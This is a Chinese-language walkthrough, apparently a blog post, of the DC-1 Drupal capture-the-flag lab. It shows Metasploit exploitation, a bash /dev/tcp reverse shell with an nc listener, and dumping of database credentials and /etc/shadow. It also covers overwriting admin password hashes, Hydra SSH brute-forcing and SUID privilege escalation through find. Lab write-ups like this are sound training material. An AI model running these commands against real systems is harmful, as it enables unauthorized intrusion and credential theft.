DC1靶场 Drupal

实验步骤:

查看DC1的MAC地址 

nmap -sV -p- 192.168.146.0/24 扫描整个网段,192.168.146.1---192.168.146.254

-p- 所有端口

-sV     探测服务/版本信息   

192.168.146.138是DC1的ip地址

使用默认代理设置,在kali的火狐浏览器查看

看到这个登录框,猜测有sql注入漏洞,用的Drupal,是一个CMS(内容管理系统)

用Wappalyzer插件可以看到这个网站信息,Drupal版本是7

用metasploit工具查看Drupal7的漏洞

search Drupal

disclosure公开,rank等级,选一个2018年的漏洞

use 漏洞名称

show options

set RHOSTS DC1靶机的ip地址,

exploit

shell

metasploit原理,会生成一句话木马,利用漏洞拿到shell

ls

反弹shell,受害者主机主动连接攻击者的服务端程序

python -c 'import pty;pty.spawn("/bin/bash")'

-c:表示接下来执行的python代码

import pty;导入pty库

spawn创建一个新的伪终端

运行/bin/bash,启动一个新的shell

利用bash,bash -i >& /dev/tcp/攻击机ip/攻击机端口 0>&1

nc -lvp 端口(-l:指定 nc 作为服务器监听连接

-p:指定本地端口号

-v:显示详细信息,包括连接和数据传输的详细信息

)

查看flag1.txt,在提醒我们配置文件里有东西

find / -name settings.php

/ 表示根目录,搜索文件从最高层开始

-name 搜索与指定名称匹配的文件

得到数据库用户dbuser密码R0ck3t

暴力破解字典攻击不是获得权限的唯一方法,提醒我们用下面的账号

能用find命令说明能suid提权

登录数据库看看

mysql -udbuser -pR0ck3t;注意有个;

看一下drupaldb数据库的表,要用SQL语句,

use drupaldb;

show tables;

有一个users表,查看内容

select * from users;

有两个用户admin和Fred,密码用的hash函数加密

试着修改pass,试看看有无权限

update users set pass = "111111"

但是我设置的hash(x)=111111值,但x才是密码

试着找一下加密函数在哪,百度一下

退出exit  回到原来的目录

php scripts/password-hash.sh 1111111

hash值是$S$DDFOiP3hLOW7DUMKb4TfbC5mkEiCuKuxLGNbnRWR7hPoF0IQy1gZ

回到数据库,修改update users set pass = "$S$DDFOiP3hLOW7DUMKb4TfbC5mkEiCuKuxLGNbnRWR7hPoF0IQy1gZ" where name = 'admin';

拿到用户admin和密码1111111,尝试登录,成功

点击Dashboard,看到flag3,特殊的访问权限将能帮助找到密码,需要执行命令行,在/etc/shadow

查看存放密码的文件

/etc/passwd

存储有用户的基本信息,如用户名、用户ID等,所有用户均可访问

内容格式:x表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中

主目录:/home/username 用户登录后有操作权限的访问目录

Shell 命令解释器的功能就是将用户输入的命令转换成系统可以识别的机器语言,默认为bash

bash拥有权限范围内的所有权限

用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell

看到一个flag4

/etc/shadow

存储有用户的密码等信息,需要root用户才能访问

22端口是开放的,试试ssh登录呢, ssh 客户端用户名@服务器ip地址,我本来想以刚才的admin和1111111试试能否登录,不能登录

暴力破解一下密码,

dirbuster是用来暴力破解网站目录

用Hydra

kali自带的字典,路径为/usr/share/john/password.lst

hydra -l 指定用户名 -p 指定密码 ip ssh
hydra -L 用户字典 -P 密码字典 

-f找到第一对密码就终止破解

-vV显示详细过程

hydra -l flag4 -P /usr/share/john/password.lst 192.168.146.138 ssh -vV -f 

贪心的我还试了试root用户,懒得等,放弃

ssh登录flag4,暗示我们暴力破解root用户会比较困难,那试着去提权

suid提权,已知的具有SUID权限的二进制可执行文件大体有:nmap vim find bash more less nano cp awk

find / -perm -4000 2>/dev/null寻找 4000权限的文件,不显示其他的错误信息相当于过滤

-perm匹配权限

-4000 SUID权限

将错误输出到黑洞(相当于垃圾桶)

 find -exec /bin/sh \;对find找到的每个文件执行/bin/sh

find / -name (某个存在的文件名) -exec "/bin/sh" \;

/root目录下拿到最终flag

SQL注入漏洞利用

(明天写)

参考文章:

简略版

详细版

  • 26
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值